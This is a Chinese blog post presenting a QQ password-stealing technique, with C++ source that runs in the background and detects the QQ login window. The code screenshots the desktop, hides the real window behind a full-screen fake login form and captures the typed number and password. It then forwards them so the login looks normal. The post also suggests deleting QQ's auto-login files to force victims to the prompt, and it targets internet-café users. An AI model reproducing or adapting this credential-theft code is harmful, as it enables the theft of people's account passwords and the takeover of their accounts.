也谈 QQ 安全
近日无所事事,看到现在的QQ防盗技术越来越好,一般的钩子已经无法获取用户输入 的密码了,我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的数据,发现是不可行的。左思右想,既然程序本身的防范很 严密。那么我们就从用户这边来下手吧。毕竟很多用户对电脑不是很了解的^_^,各位看官可不能扔丑鸡蛋啊。
网吧里一般用户点击QQ快捷方式后就输入号码和密码,然后再登陆,这样我们就可以进行欺骗了。我们的程序运行在后台不停的检测当前**的窗口是不是QQ登录的窗口,如果是的话就先取得QQ登录窗口中的号码、密码文本框和登陆按钮的窗口位置。这样是为了在我们伪造的窗口上创建这些窗口时不被察觉^_^,获得这些信息后,我们先截取整个屏幕,然后把真正的QQ登录窗口隐藏起来,最后创建我们自己的窗口,设置为最前占满整个桌面,然后再背景上贴上刚才抓取的图片。最后在图片QQ登陆的地方创建好QQ号码和密码输入窗口,在检测到用户单击在QQ登陆按钮时获取用户输入的字符,把这些字符发送到真正的QQ窗口里,最后模拟单击QQ登陆按钮完成QQ的正常登陆。
然而家庭用户一般是选了自动登陆的方式,所以没有QQ登录的窗口,那我们就要动一些手脚了。了解QQ的地球人都知道^_^,QQ文件夹下有这两个文件:AutoLogin.dat和LoginUinList.dat,它们的功能:这两个文件是QQ的号码登录数据文件,AutoLogin.dat 保存的是自动登录号码的数据文件,LoginUinList.dat则保存的是QQ登录窗口中的“QQ号码”下拉框中显示的所有号码记录。所以我们要删除QQ登录数据,直接删除AutoLogin.dat和LoginUinList.dat两个文件就行了。主要代码分析如下:
001.
//根据进程ID得到进程名称
002.
BOOL
processIdToName(
LPTSTR
lpszProcessName,
DWORD
PID)
003.
{
004.
HANDLE
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
005.
PROCESSENTRY32 pe;
006.
pe.dwSize =
sizeof
(PROCESSENTRY32);
007.
if
(!Process32First(hSnapshot, &pe)) {
008.
return
FALSE;
009.
}
010.
while
(Process32Next(hSnapshot, &pe)) {
011.
if
(pe.th32ProcessID == PID) {
012.
strcpy
(lpszProcessName, pe.szExeFile);
013.
return
true
;
014.
}
015.
}
016.
017.
return
FALSE;
018.
}
019.
020.
//查找QQ登录窗口
021.
void
QQFind()
022.
{
023.
HWND
hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
024.
HWND
ButtonLogin = NULL, ButtonCancel = NULL;
025.
char
sTitle[255];
026.
CString ss;
027.
DWORD
QQPID;
028.
int
LoginID;
029.
BOOL
find = FALSE;
030.
do
031.
{
032.
//获得当前**窗口的句柄
033.
g_hWnd = GetForegroundWindow();
034.
GetWindowThreadProcessId(g_hWnd, &QQPID);
035.
//根据PID获得进程名
036.
processIdToName(sTitle, QQPID);
037.
ss = sTitle;
038.
ss.MakeLower();
039.
//判断是否QQ
040.
if
(ss !=
"qq.exe"
)
041.
{
042.
Sleep(100);
043.
continue
;
044.
}
045.
046.
//获得标题文字,判断是否登陆对话框
047.
SendMessage(g_hWnd,WM_GETTEXT,255,(
LPARAM
)sTitle);
048.
ss = sTitle;
049.
int
n = ss.Find(
"QQ"
, 0);
050.
int
m = ss.Find(
"登录"
, 0);
051.
if
(n >= 0 || m >= 0)
052.
{
053.
//查找QQ登陆按钮的句柄
054.
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin,
"Button"
,
"登录"
);
055.
LoginID = GetDlgCtrlID(ButtonLogin);
056.
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin,
"Button"
,
"登录"
);
057.
LoginID = GetDlgCtrlID(ButtonLogin);
058.
//获得QQ登陆按钮窗口位置
059.
GetWindowRect(ButtonLogin, &g_qqLogin);
060.
061.
//查找QQ取消按钮的句柄
062.
ButtonCancel = FindWindowEx(g_hWnd, NULL,
"Button"
,
"取消"
);
063.
//获得QQ取消按钮窗口位置
064.
GetWindowRect(ButtonCancel, &g_qqCancel);
065.
066.
//查找QQ密码输入框的句柄
067.
hWnd1 = FindWindowEx(g_hWnd, NULL,
"#32770"
, NULL);
068.
if
(hWnd1 != NULL)
069.
{
070.
qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd,
"Edit"
, NULL);
071.
//获得QQ密码输入框窗口位置
072.
GetWindowRect(qqPass_hWnd, &g_qqPassRt);
073.
}
074.
075.
//查找QQ号码输入框的句柄
076.
hWnd1 = FindWindowEx(g_hWnd, NULL,
"ComboBox"
, NULL);
077.
if
(hWnd1 != NULL)
078.
{
079.
qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd,
"Edit"
, NULL);
080.
//获得QQ号码输入框窗口位置
081.
GetWindowRect(qqID_hWnd, &g_qqIDRt);
082.
//获得当前默认QQ号码
083.
SendMessage(qqID_hWnd,WM_GETTEXT, 255,(
LPARAM
)qqid);
084.
}
085.
086.
//等待QQ窗口完全出现后抓取整个屏幕
087.
Sleep(100);
088.
g_DlgRt.left = 0;
089.
g_DlgRt.top = 0;
090.
g_DlgRt.right = m_xScreen;
091.
g_DlgRt.bottom = m_yScreen;
092.
g_pBitmap = CopyScreenToBitmap(&g_DlgRt);
093.
094.
//设置QQ窗口为不可见
095.
ShowWindow(g_hWnd, SW_HIDE);
096.
097.
//弹出我们创建的伪造对话框
098.
HINSTANCE
hInstance = GetModuleHandle(NULL);
099.
DialogBoxParam(hInstance, (
LPCTSTR
)IDD_WIN847,
0, (DLGPROC)win847, 0);
100.
101.
//设置QQ窗口为可见
102.
ShowWindow(g_hWnd, SW_SHOW);
103.
104.
//把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮
105.
SendMessage(qqID_hWnd, WM_SETTEXT, 0, (
LPARAM
)qqid);
106.
SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (
LPARAM
)qqpass);
107.
SendMessage(ButtonLogin, BM_CLICK, 0, 0);
108.
109.
DeleteObject(g_pBitmap);
110.
//设置标志退出循环
111.
find =
true
;
112.
}
113.
114.
}
115.
116.
while
(find == FALSE);
117.
}
截图如下:
图一 伪装的登陆界面
好了,说到这儿也差不多啦,见笑见笑了^_^,最后奉劝一句,请勿用于非法。有什么问题或您有更好的建意请不要忘了和我联系哦,邮箱: